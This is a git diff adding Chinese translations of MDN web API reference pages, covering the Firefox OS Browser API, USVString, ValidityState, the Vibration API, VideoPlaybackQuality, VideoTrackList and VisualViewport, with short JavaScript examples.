+ + diff --git a/files/zh-cn/web/api/using_the_browser_api/index.html b/files/zh-cn/web/api/using_the_browser_api/index.html new file mode 100644 index 0000000000..a829b11d58 --- /dev/null +++ b/files/zh-cn/web/api/using_the_browser_api/index.html @@ -0,0 +1,214 @@ +--- +title: Using the browser API +slug: Web/API/Using_the_Browser_API +tags: + - API + - B2G + - Firefox OS + - WebAPI + - 指南 + - 浏览器 + - 非标准 +translation_of: Mozilla/Gecko/Chrome/API/Browser_API/Using +--- +

{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('privileged') }}

+ +

概述

+ +

HTML Browser API 是对 HTML {{HTMLElement("iframe")}} 元素的扩展,允许 web app 用来实现浏览器或浏览器类似的应用。主要涉及到两个方面:

+ + + +

除此之外,也可以表示成嵌入的内容就是一个 Open Web App。在那种情况下,页面内容就会在适当的 app 上下文(如权限)中被装载。

+ +

用法

+ +

{{HTMLElement("iframe")}} 可以通过设置 {{htmlattrxref("mozbrowser","iframe")}} 属性而转化为浏览器框架

+ +
<iframe src="http://hostname.tld" mozbrowser>
+ +

要想嵌入一个 Open Web App,  必须要提供 {{htmlattrxref("mozapp","iframe")}} 以及 app manifest 路径。

+ +
<iframe src="http://hostname.tld" mozapp='http://path/to/manifest.webapp' mozbrowser>
+ +

最后, {{HTMLElement("iframe")}} 的内容可以在它单独的子进程中装载,通过使用{{htmlattrxref("remote","iframe")}}  属性可以单独嵌入到此页面的框架中。

+ +
<iframe src="http://hostname.tld" mozbrowser remote>
+ +
+

警告: That last attribute is necessary for security reasons if you plan to load content from an untrusted/unknown origin. If you don't use it, you take the risk of your application being compromised by a malicious web site.

+
+ +

权限

+ +

想要嵌入到 browser frame 中的任何应用必须要在其中的 app manifest 拥有 browser 权限。

+ +
{
+  "permissions": {
+    "browser": {}
+  }
+}
+ +

此外,要嵌入一个  Open Web App, app 必须具有 embed-apps 权限。

+ +
{
+  "permissions": {
+    "browser": {},
+    "embed-apps": {}
+  }
+}
+ +

额外方法

+ +

Firefox OS 扩展了 {{domxref("HTMLIFrameElement")}} DOM 接口以支持 browser {{HTMLElement("iframe")}} 所产生的需求。这些新的方法赋予  {{HTMLElement("iframe")}} 了一些强大的功能:

+ + + +

这些方法能够使 {{HTMLElement("iframe")}} 根据历史记录进行导航。此处也有必要来实现 back, forward, stop, and reload 按钮。

+ + + +

性能方法

+ +

Those methods are used to manage the resources used by a browser {{HTMLElement("iframe")}}. This is especially useful for implementing tabbed browser application.

+ + + +

Event 方法

+ +

In order to manage the browser {{HTMLElement("iframe")}}'s content, many new events were added (see below). The following methods are used to deal with those events:

+ + + +

其他方法

+ +

Those methods are utilities, useful for apps that host a browser {{HTMLElement("iframe")}}.

+ + + +

Events

+ +

In order to allow an application to manage the browser {{HTMLElement("iframe")}}, the application can listen for new events about what's happening within the browser {{HTMLElement("iframe")}}. The following new events can be listened for:

+ + + +

示例

+ +

In this example we'll see how to implement a very basic browser app.

+ +

HTML

+ +

In the HTML we just add a URL bar, a "Go" and "Stop" button, and a browser {{HTMLElement("iframe")}}.

+ +
<header>
+  <input id="url">
+  <button id="go">Go</button>
+  <button id="stop">Stop</button>
+</header>
+
+<iframe src="about:blank" mozbrowser remote></iframe>
+
+ +

CSS

+ +

We switch between the go and stop button with a little css trick.

+ +
button:disabled {
+  display: none;
+}
+ +

JavaScript

+ +

Now we can add the required functionalities:

+ +
document.addEventListener("DOMContentLoaded", function () {
+  var url  = document.getElementById("url");
+  var go   = document.getElementById("go");
+  var stop = document.getElementById("stop");
+
+  var browser = document.getElementsByTagName("iframe")[0];
+
+  // This function is used to switch the Go and Stop button
+  // If the browser is loading content, "Go" is disabled and "Stop" is enabled
+  // Otherwise, "Go" is enabled and "Stop" is disabled
+  function uiLoading(isLoading) {
+      go.disabled =  isLoading;
+    stop.disabled = !isLoading;
+  }
+
+  go.addEventListener("touchend", function () {
+    browser.setAttribute("src", url.value);
+  });
+
+  stop.addEventListener("touchend", function () {
+    browser.stop();
+  });
+
+  // When the browser starts loading content, we switch the "Go" and "Stop" buttons
+  browser.addEventListener('mozbrowserloadstart', function () {
+    uiLoading(true);
+  });
+
+  // When the browser finishes loading content, we switch back the "Go" and "Stop" buttons
+  browser.addEventListener('mozbrowserloadend', function () {
+    uiLoading(false);
+  });
+
+  // In case of error, we also switch back the "Go" and "Stop" buttons
+  browser.addEventListener('mozbrowsererror', function (event) {
+    uiLoading(false);
+    alert("Loading error: " + event.detail);
+  });
+
+  // When a user follows a link, we make sure the new location is displayed in the address bar
+  browser.addEventListener('mozbrowserlocationchange', function (event) {
+    url.value = event.detail;
+  });
+});
+ +

参考

+ + diff --git a/files/zh-cn/web/api/usvstring/index.html b/files/zh-cn/web/api/usvstring/index.html new file mode 100644 index 0000000000..4500e1e2e2 --- /dev/null +++ b/files/zh-cn/web/api/usvstring/index.html @@ -0,0 +1,47 @@ +--- +title: USVString +slug: Web/API/USVString +tags: + - USVString + - unicode scalar values +translation_of: Web/API/USVString +--- +

{{APIRef("DOM")}}

+ +

USVString 对应 unicode 标量值的所有可能序列的集合。在JavaScript中返回时, USVString 映射到 {{JSxRef("String")}} 。它通常仅用于执行文本处理的 API,需要一串 unicode 标量值才能进行操作。除了不允许不成对的代理代码之外, USVString 等同于 {{DOMxRef("DOMString")}} 。 USVString 中存在的不成对的代理代码由浏览器转换为 Unicode '替换字符' U+FFFD, (�).

+ +

 

+ +

译注:

+ +

Unicode 标量值( Unicode scalar values ):字符的代号。

+ +

不成对的代理代码( Unpaired surrogate codepoints ):高代理代码后面没有低代理代码,或者低代理代码之前没有高代理代码。

+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebIDL", "#idl-USVString", "USVString")}}{{Spec2("WebIDL")}}Initial definition.
+ +

另见

+ + diff --git a/files/zh-cn/web/api/validitystate/index.html b/files/zh-cn/web/api/validitystate/index.html new file mode 100644 index 0000000000..4fc6e0d3ef --- /dev/null +++ b/files/zh-cn/web/api/validitystate/index.html @@ -0,0 +1,88 @@ +--- +title: ValidityState +slug: Web/API/ValidityState +tags: + - API + - HTML DOM + - 接口 + - 表单 + - 输入 +translation_of: Web/API/ValidityState +--- +
{{APIRef("HTML DOM")}} {{gecko_minversion_header("2.0")}}
+ +

DOM接口 ValidityState 代表一个元素可有的有效性状态(validity states),其与约束验证(constraint validation)相关。这些状态一起解释了当元素值无效时,它的值为什么不能通过验证。

+ +

属性

+ +

对于以下每一个布尔值属性来说,值为 true 表示这就是验证失败的特定原因之一;valid 属性是例外,它为 true 表示元素值满足所有的约束条件。

+ +
+
{{domxref("ValidityState.badInput", "badInput")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示用户提供了浏览器不能转换的输入。
+
customError {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},表示这个元素的自定义验证信息是否已通过调用元素的 {{domxref('HTMLObjectElement.setCustomValidity', 'setCustomValidity()')}} 方法设置为一个非空字符串。
+
+ +
+
{{domxref("ValidityState.patternMismatch", "patternMismatch")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示元素值不匹配规定的{{htmlattrxref("pattern", "input")}},false 则表示匹配。true 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 匹配。
+
{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示值已超过 {{htmlattrxref("max", "input")}} 属性规定的最大值,false 则表示小于或等于这个最大值。true 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 和 {{cssxref(":out-of-range")}} 匹配。
+
{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示值小于 {{htmlattrxref("min", "input")}} 属性规定的最小值,false 则表示大于或等于这个最小值。true 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 和 {{cssxref(":out-of-range")}} 匹配。
+
{{domxref("ValidityState.stepMismatch", "stepMismatch")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示值不符合由 {{htmlattrxref("step", "input")}} 属性规定的规则(即该值不能被步长值除尽,译注:假设最小值是0)。false 表示其符合步长值规则。true 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 和 {{cssxref(":out-of-range")}} 匹配。
+
{{domxref("ValidityState.tooLong", "tooLong")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示值超过了{{domxref("HTMLInputElement")}} 或 {{domxref("HTMLTextAreaElement")}} 对象中规定的 maxlengthfalse 表示值的长度小于或等于最大长度。注意:This这个属性在Gecko中永远不会是 true,因为元素值不允许比 maxlength 长。true 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 和 {{cssxref(":out-of-range")}} 匹配。
+
{{domxref("ValidityState.tooShort", "tooShort")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示值的长度小于 {{domxref("HTMLInputElement")}} 或 {{domxref("HTMLTextAreaElement")}} 对象中规定的 minlengthfalse 表示值的长度大于或等于最大长度。true 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 和 {{cssxref(":out-of-range")}} 匹配。
+
{{domxref("ValidityState.typeMismatch", "typeMismatch")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示元素值不满足所需的格式(可见于 {{htmlattrxref("type", "input")}} 是 email 或 url 时),false 表示格式正确。true 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 匹配。
+
valid {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}},true 表示元素满足所有的验证约束,因此被认为时有效的,false 表示有任一约束不满足。true 的时候元素可用 CSS 伪类 {{cssxref(":valid")}} 匹配,否则可用 CSS 伪类 {{cssxref(":invalid")}} 匹配。
+
{{domxref("ValidityState.valueMissing", "valueMissing")}} {{ReadOnlyInline}}
+
一个 {{jsxref("Boolean")}}, true 表示元素拥有 {{htmlattrxref("required", "input")}} 属性,但没有值,否则为 falsetrue 的时候元素可用 CSS 伪类 {{cssxref(":invalid")}} 匹配。
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('HTML WHATWG', 'form-control-infrastructure.html#validitystate', 'ValidityState') }}{{Spec2('HTML WHATWG')}}Living Standard
{{ SpecName('HTML5.1', 'sec-forms.html#validitystate-validitystate', 'ValidityState') }}{{Spec2('HTML5.1')}}No change from the previous snapshot {{SpecName('HTML5 W3C')}}.
+

{{ SpecName('HTML5 W3C', 'forms.html#validitystate', 'ValidityState') }}

+
{{Spec2('HTML5 W3C')}} +

First snapshot of  {{SpecName('HTML WHATWG')}} containing this interface.

+
+ +

浏览器兼容性

+ +

{{Compat("api.ValidityState")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/vibration_api/index.html b/files/zh-cn/web/api/vibration_api/index.html new file mode 100644 index 0000000000..c2e06b1f89 --- /dev/null +++ b/files/zh-cn/web/api/vibration_api/index.html @@ -0,0 +1,143 @@ +--- +title: Vibration API +slug: Web/API/Vibration_API +tags: + - Vibration API +translation_of: Web/API/Vibration_API +--- +

{{DefaultAPISidebar("Vibration API")}}

+ +

大多数现代移动设备包括振动硬件,其允许软件代码通过使设备摇动来向用户提供物理反馈。Vibration API为Web应用程序提供访问此硬件(如果存在)的功能,如果设备不支持此功能,则不会执行任何操作。

+ +

振动描述

+ +

振动被抽象成【开-关】脉冲的模式,且可以具有变化的长度。?参数可以是单个整数,表示持续振动的毫秒数 (ms);或可由多个整数组成的数组,达到振动和暂停循环的效果。只要单一 window.navigator.vibrate() 函式即可控制振动。

+ +

一个单次振动

+ +

你可以通过指定单个值或仅由一个值组成的数组来一次振荡振动硬件:

+ +
window.navigator.vibrate(200);
+window.navigator.vibrate([200]);
+
+ +

以上两个例子都可以使设备振动 200 ms.

+ +

振动模式

+ +

一组数值描述了设备振动并且不振动的交替时间段。数组中的每个值都将转换成一个整数,然后交替解释为设备应该振动的毫秒数和不振动的毫秒数。例如:

+ +
window.navigator.vibrate([200, 100, 200]);
+
+ +

这会使设备振动200 ms,然后暂停100 ms,然后再次振动设备200 ms。

+ +

您可以根据需要设定多个振动/暂停对,数组的值可以是偶数或奇数个; 值得注意的是,由于振动在每个振动周期结束时自动停止,因此您不必提供最后一个值去暂停,换句话说,数组长度只需要设置奇数个。

+ +

停止振动

+ +

当调用 window.navigator.vibrate() 的参数为「0」、空白?数组,或?数组全为「0」时,即可取消目前?进行中的振动。

+ +

持续振动

+ +

一些基于setInterval和clearInterval操作将允许您创建持续的振动:

+ +
var vibrateInterval;
+
+// Starts vibration at passed in level
+function startVibrate(duration) {
+    navigator.vibrate(duration);
+}
+
+// Stops vibration
+function stopVibrate() {
+    // Clear interval and stop persistent vibrating
+    if(vibrateInterval) clearInterval(vibrateInterval);
+    navigator.vibrate(0);
+}
+
+// Start persistent vibration at given duration and interval
+// Assumes a number value is given
+function startPeristentVibrate(duration, interval) {
+    vibrateInterval = setInterval(function() {
+        startVibrate(duration);
+    }, interval);
+}
+ +

当然上面的代码片段没有考虑到振动参数为数组情况; 基于阵列的持久性振动将需要计算数组项的和,并基于该数量创建周期(可能具有额外的延迟)。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Vibration API')}}{{Spec2('Vibration API')}}Linked to spec is the latest editor's draft; W3C version is a REC.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} {{property_prefix("webkit")}}11.0 {{property_prefix("moz")}}
+ 16
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} {{property_prefix("webkit")}}11.0 {{property_prefix("moz")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

也可以参考

+ + diff --git a/files/zh-cn/web/api/videoplaybackquality/index.html b/files/zh-cn/web/api/videoplaybackquality/index.html new file mode 100644 index 0000000000..cc4d62a270 --- /dev/null +++ b/files/zh-cn/web/api/videoplaybackquality/index.html @@ -0,0 +1,115 @@ +--- +title: VideoPlaybackQuality +slug: Web/API/VideoPlaybackQuality +translation_of: Web/API/VideoPlaybackQuality +--- +

{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}

+ +

VideoPlaybackQuality 对象表示了一系列描述视频播放质量的指标。

+ +

可以通过 {{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} 创建一个实例。

+ +

属性

+ +

VideoPlaybackQuality 对象不继承任何属性。

+ +
+
{{domxref("VideoPlaybackQuality.creationTime")}} {{readonlyInline}}
+
一个用毫秒表示从开始页面浏览到对象创建的 {{domxref("DOMHighResTimeStamp")}} 对象。
+
{{domxref("VideoPlaybackQuality.totalVideoFrames")}} {{readonlyInline}}
+
一个表示相关联的 {{domxref("HTMLVideoElement")}} 自从创建起的已创建和丢弃帧数数量总和的 unsigned long 值。.
+
{{domxref("VideoPlaybackQuality.droppedVideoFrames")}} {{readonlyInline}}
+
一个表示相关联的 {{domxref("HTMLVideoElement")}} 自从创建起的已丢弃帧数数量的 unsigned long 值。
+
{{domxref("VideoPlaybackQuality.corruptedVideoFrames")}} {{readonlyInline}}
+
一个表示相关联的 {{domxref("HTMLVideoElement")}} 自从创建起的损坏帧数数量的 unsigned long 值。一个损坏帧可能属于创建帧或丢弃帧。
+
{{domxref("VideoPlaybackQuality.totalFrameDelay")}} {{readonlyInline}} {{ obsolete_inline(30) }}
+
一个表示相关联的 {{domxref("HTMLVideoElement")}} 自从创建起的帧延迟总和的 double 值。帧延迟是指一个帧的理论展示时间与实际显示时间的差值。
+
+ +

方法

+ +

VideoPlaybackQuality 对象没有实现任何特定方法,也没有继承任何方法。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Media Source Extensions', '#videoplaybackquality', 'VideoPlaybackQuality')}}{{Spec2('Media Source Extensions')}}最初定义
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{CompatGeckoDesktop("25.0")}}[1]
+ {{CompatGeckoDesktop("42.0")}}
11[2]158
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.4.4 +

{{CompatNo}}

+
{{CompatNo}}1130{{CompatNo}}
+
+ +

[1] 在更改 about:config 中的 media.mediasource.enabled 项为 true 后可用。 此外,支持仅限于白名单站点,例如YouTube、Netflix等其他著名视频站点。在 42+ 后白名单已被移除并且 Media Source Extensions已默认对所有站点启用。

+ +

[2] 只在 Windows 8+ 下可用。

+ +

另见

+ + diff --git a/files/zh-cn/web/api/videoplaybackquality/totalvideoframes/index.html b/files/zh-cn/web/api/videoplaybackquality/totalvideoframes/index.html new file mode 100644 index 0000000000..3eb0437b36 --- /dev/null +++ b/files/zh-cn/web/api/videoplaybackquality/totalvideoframes/index.html @@ -0,0 +1,64 @@ +--- +title: VideoPlaybackQuality.totalVideoFrames +slug: Web/API/VideoPlaybackQuality/totalVideoFrames +translation_of: Web/API/VideoPlaybackQuality/totalVideoFrames +--- +
videoPlaybackQuality的totalVideoFrames属性为一个只读属性,用于表述已经被加载的媒体资源中已经被渲染播放或者被废弃的视频帧总数
+ + + +

Syntax

+ +
value = videoPlaybackQuality.totalVideoFrames;
+ +

Value

+ +

video容器已经被加载的媒体资源中已经被渲染播放或者被废弃的视频帧总数,本质上讲,这个总数是指没有发生播放异常问题下的数目。

+ +

Example

+ +

下面的例子想要表述的是通过已经丢弃(丢帧)或者播放异常的帧数总和占totalVideoFrames的比例超过10%,则触发一个例如名为lostFramesThresholdExceeded的回调函数以反应我们当前视频资源丢帧已经播放异常的程度,从而帮助业务进行调整

+ +
var videoElem = document.getElementById("my_vid");
+var quality = videoElem.getVideoPlaybackQuality();
+
+if ((quality.corruptedVideoFrames + quality.droppedVideoFrames)/quality.totalVideoFrames > 0.1) {
+  lostFramesThresholdExceeded();
+}
+ + + +
触发回调函数后,我们可以使用一些算法来尝试切换到需要较少带宽,码率低的,较低分辨率视频,以避免丢帧。
+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Playback Quality', '#videoplaybackquality-interface', 'VideoPlaybackQuality.totalVideoFrames')}}{{Spec2('Media Playback Quality')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.VideoPlaybackQuality.totalVideoFrames")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/videotracklist/index.html b/files/zh-cn/web/api/videotracklist/index.html new file mode 100644 index 0000000000..54ff1fe1c3 --- /dev/null +++ b/files/zh-cn/web/api/videotracklist/index.html @@ -0,0 +1,118 @@ +--- +title: VideoTrackList +slug: Web/API/VideoTrackList +tags: + - API + - HTML DOM + - Interface + - Media + - NeedsTranslation + - Reference + - TopicStub + - Track List + - Tracks + - Video + - VideoTrackList + - list +translation_of: Web/API/VideoTrackList +--- +
{{APIRef("HTML DOM")}}
+ +

The VideoTrackList interface is used to represent a list of the video tracks contained within a {{HTMLElement("video")}} element, with each track represented by a separate {{domxref("VideoTrack")}} object in the list.

+ +

Retrieve an instance of this object with {{domxref('HTMLMediaElement.VideoTracks')}}. The individual tracks can be accessed using array syntax or functions such as {{jsxref("Array.forEach", "forEach()")}} for example.

+ +

Properties

+ +

This interface also inherits properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("VideoTrackList.length", "length")}} {{ReadOnlyInline}}
+
The number of tracks in the list.
+
{{domxref("VideoTrackList.selectedIndex", "selectedIndex")}} {{ReadOnlyInline}}
+
The index of the currently selected track, if any, or −1 otherwise.
+
+ +

Event handlers

+ +
+
{{domxref("VideoTrackList.onaddtrack", "onaddtrack")}}
+
An event handler to be called when the {{event("addtrack")}} event is fired, indicating that a new video track has been added to the media element.
+
{{domxref("VideoTrackList.onchange", "onchange")}}
+
An event handler to be called when the {{event("change")}} event occurs — that is, when the value of the {{domxref("VideoTrack.selected", "selected")}} property for a track has changed, due to the track being made active or inactive.
+
{{domxref("VideoTrackList.onremovetrack", "onremovetrack")}}
+
An event handler to call when the {{event("removetrack")}} event is sent, indicating that a video track has been removed from the media element.
+
+ +

Methods

+ +

This interface also inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("VideoTrackList.getTrackById", "getTrackById()")}}
+
Returns the {{domxref("VideoTrack")}} found within the VideoTrackList whose {{domxref("VideoTrack.id", "id")}} matches the specified string. If no match is found, null is returned.
+
+ +

Events

+ +
+
addtrack
+
Fired when a new video track has been added to the media element.
+ Also available via the onaddtrack property.
+
change
+
Fired when a video track has been made active or inactive.
+ Also available via the onchange property.
+
removetrack
+
Fired when a new video track has been removed from the media element.
+ Also available via the onremovetrack property.
+
+ +

Usage notes

+ +

In addition to being able to obtain direct access to the video tracks present on a media element, VideoTrackList lets you set event handlers on the {{event("addtrack")}} and {{event("removetrack")}} events, so that you can detect when tracks are added to or removed from the media element's stream. See {{domxref("VideoTrackList.onaddtrack", "onaddtrack")}} and {{domxref("VideoTrackList.onremovetrack", "onremovetrack")}} for details and examples.

+ +

Examples

+ +

Getting a media element's video track list

+ +

To get a media element's {{domxref("VideoTrackList")}}, use its {{domxref("HTMLMediaElement.videoTracks", "videoTracks")}} property.

+ +
var videoTracks = document.querySelector("video").videoTracks;
+ +

Monitoring track count changes

+ +

In this example, we have an app that displays information about the number of channels available. To keep it up to date, handlers for the {{event("addtrack")}} and {{event("removetrack")}} events are set up.

+ +
videoTracks.onaddtrack = updateTrackCount;
+videoTracks.onremovetrack = updateTrackCount;
+
+function updateTrackCount(event) {
+  trackCount = videoTracks.length;
+  drawTrackCountIndicator(trackCount);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#videotracklist', 'VideoTrackList')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.VideoTrackList")}}

diff --git a/files/zh-cn/web/api/visualviewport/index.html b/files/zh-cn/web/api/visualviewport/index.html new file mode 100644 index 0000000000..e07f4aa91d --- /dev/null +++ b/files/zh-cn/web/api/visualviewport/index.html @@ -0,0 +1,133 @@ +--- +title: VisualViewport +slug: Web/API/VisualViewport +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Reference + - TopicStub + - Visual Viewport API + - VisualViewport + - viewport +translation_of: Web/API/VisualViewport +--- +

{{SeeCompatTable}}{{APIRef("Visual Viewport")}}

+ +

 Visual Viewport API 提供了当前页面的视觉视口接口,即 VisualViewport 。对于每个页面容器来说(如 iframe),都存在有一个独立的 window 对象。每个页面容器的 window 对象都有一个独立的 VisualViewport 属性。

+ +

你可以使用 {{domxref("Window.visualViewport")}} 获得对应 window 的视觉视口 API。

+ +
+

注意:与布局视口(layout viewport)不同的是:只有最上层的 window 才有视觉视口(visual viewport)这一概念。因此只有最上层 window 的 VisualViewport 属性才是有效的,其他层的视觉视口属性可看作是布局视口属性的别名。比如,对于一个 {{htmlelement("iframe")}} ,其对应的视觉视口属性 {{domxref("VisualViewport.width")}} 相当于对应的布局视口属性,如 {{domxref("Element.clientWidth", "document.documentElement.clientWidth")}}.

+
+ +

属性

+ +

VisualViewport 从其父元素继承属性 {{domxref("EventTarget")}}

+ +
+
{{domxref("VisualViewport.offsetLeft")}} {{readonlyinline}}
+
返回视觉视口的左边框到布局视口的左边框的 CSS 像素距离。
+
{{domxref("VisualViewport.offsetTop")}} {{readonlyinline}}
+
返回视觉视口的上边框到布局视口的上边框的 CSS 像素距离。
+
{{domxref("VisualViewport.pageLeft")}} {{readonlyinline}}
+
返回相对于初始的 viewport 属性的 X 轴坐标所对应的 CSS 像素数。
+
{{domxref("VisualViewport.pageTop")}} {{readonlyinline}}
+
返回相对于初始的 viewport 属性的 Y 轴坐标所对应的 CSS 像素数。
+
{{domxref("VisualViewport.width")}} {{readonlyinline}}
+
返回视觉视口的宽度所对应的 CSS 像素数。
+
{{domxref("VisualViewport.height")}} {{readonlyinline}}
+
返回视觉视口的高度所对应的 CSS 像素数。
+
{{domxref("VisualViewport.scale")}} {{readonlyinline}}
+
返回当前视觉视口所应用的缩放比例。
+
+ +

Events

+ +

通过使用 addEventListener() 或者将监听回调函数赋值给对应的 oneventname 属性,可以为对应的视口事件添加监听。

+ +
+
resize
+
当视觉视口被改变时触发。
+
也可以为 {{domxref("VisualViewport.onresize")}} 属性赋值来添加监听。
+
scroll
+
当视觉视口滑动时触发。
+
也可以为 {{domxref("VisualViewport.onscroll")}} 属性赋值来添加监听。
+
+ +

例子

+ +

缩放检测并隐藏元素

+ +

这个例子取自 Visual Viewport README,展示了如何在用户缩放时隐藏某个盒子(或元素)。这对于增强一个页面在缩放时的用户体验有重要意义。同样,你也可以查看另一个 例子 。

+ +
var bottomBar = document.getElementById('bottombar');
+var viewport = window.visualViewport;
+
+function resizeHandler() {
+   if (viewport.scale > 1.3)
+     bottomBar.style.display = "none";
+   else
+     bottomBar.style.display = "block";
+}
+
+window.visualViewport.addEventListener('resize', resizeHandler);
+ +

模拟 position 属性:device-fixed

+ +

这个例子同样取自 Visual Viewport README ,展示了如何使用视觉视口 API,从而模拟 position: device-fixed 的 CSS 属性。类似于 position: fixed ,这一属性可将被设置的元素固定在视觉视口特定位置。此外,你也可以查看另一个 例子 。

+ +
var bottomBar = document.getElementById('bottombar');
+var viewport = window.visualViewport;
+function viewportHandler() {
+  var layoutViewport = document.getElementById('layoutViewport');
+
+  // Since the bar is position: fixed we need to offset it by the visual
+  // viewport's offset from the layout viewport origin.
+  var offsetLeft = viewport.offsetLeft;
+  var offsetTop = viewport.height
+              - layoutViewport.getBoundingClientRect().height
+              + viewport.offsetTop;
+
+  // You could also do this by setting style.left and style.top if you
+  // use width: 100% instead.
+  bottomBar.style.transform = 'translate(' +
+                              offsetLeft + 'px,' +
+                              offsetTop + 'px) ' +
+                              'scale(' + 1/viewport.scale + ')'
+}
+window.visualViewport.addEventListener('scroll', viewportHandler);
+window.visualViewport.addEventListener('resize', viewportHandler);
+ +
+

注意:应小心使用上述方案,使用这种方式模拟的 position: device-fixed 可能会导致其他元素在滚动页面时出现闪烁。

+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态提交
{{SpecName('Visual Viewport','#the-visualviewport-interface','VisualViewport')}}{{Spec2('Visual Viewport')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.VisualViewport")}}

+ +

参照

+ + diff --git a/files/zh-cn/web/api/visualviewport/offsetleft/index.html b/files/zh-cn/web/api/visualviewport/offsetleft/index.html new file mode 100644 index 0000000000..1b4e720311 --- /dev/null +++ b/files/zh-cn/web/api/visualviewport/offsetleft/index.html @@ -0,0 +1,39 @@ +--- +title: VisualViewport.offsetleft +slug: Web/API/VisualViewport/offsetleft +translation_of: Web/API/VisualViewport/offsetleft +--- +

{{SeeCompatTable}}{{APIRef("Visual Viewport")}}

+ +

The offsetLeft read-only property of the {{domxref("VisualViewport")}} interface returns the offset of the left edge of the visual viewport from the left edge of the layout viewport in CSS pixels.

+ +

Syntax

+ +
var offsetLeft = VisualViewport.offsetLeft
+ +

Value

+ +

A double.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Visual Viewport','#dom-visualviewport-offsetleft','offsetLeft')}}{{Spec2('Visual Viewport')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.VisualViewport.offsetLeft")}}

diff --git a/files/zh-cn/web/api/visualviewport/offsettop/index.html b/files/zh-cn/web/api/visualviewport/offsettop/index.html new file mode 100644 index 0000000000..35202bd69e --- /dev/null +++ b/files/zh-cn/web/api/visualviewport/offsettop/index.html @@ -0,0 +1,42 @@ +--- +title: VisualViewport.offsetTop +slug: Web/API/VisualViewport/offsetTop +tags: + - API + - offsetTop +translation_of: Web/API/VisualViewport/offsetTop +--- +

{{SeeCompatTable}}{{APIRef("Visual Viewport")}}

+ +

{{domxref("VisualViewport")}} 接口的只读属性 offsetTop 返回视觉视口的顶部相对于布局视口的顶部的偏移量,以CSS像素为单位。

+ +

语法

+ +
var offsetTop = VisualViewport.offsetTop
+ +

+ +

一个双精度值。

+ +

定义

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Visual Viewport','#dom-visualviewport-offsettop','offsetTop')}}{{Spec2('Visual Viewport')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.VisualViewport.offsetTop")}}

diff --git a/files/zh-cn/web/api/visualviewport/onscroll/index.html b/files/zh-cn/web/api/visualviewport/onscroll/index.html new file mode 100644 index 0000000000..e4666d8669 --- /dev/null +++ b/files/zh-cn/web/api/visualviewport/onscroll/index.html @@ -0,0 +1,41 @@ +--- +title: VisualViewport.onscroll +slug: Web/API/VisualViewport/onscroll +translation_of: Web/API/VisualViewport/onscroll +--- +

{{APIRef("Visual Viewport")}}{{ SeeCompatTable() }}

+ +

The onscroll event handler of the {{domxref("VisualViewport")}} interface is called when a viewport is scrolled, i.e. when the scroll event is fired.

+ +

Syntax

+ +
VisualViewport.onscroll = function(e) { ... }
+ +

Examples

+ +
VisualViewport.onscroll = function(e) {
+  ...
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
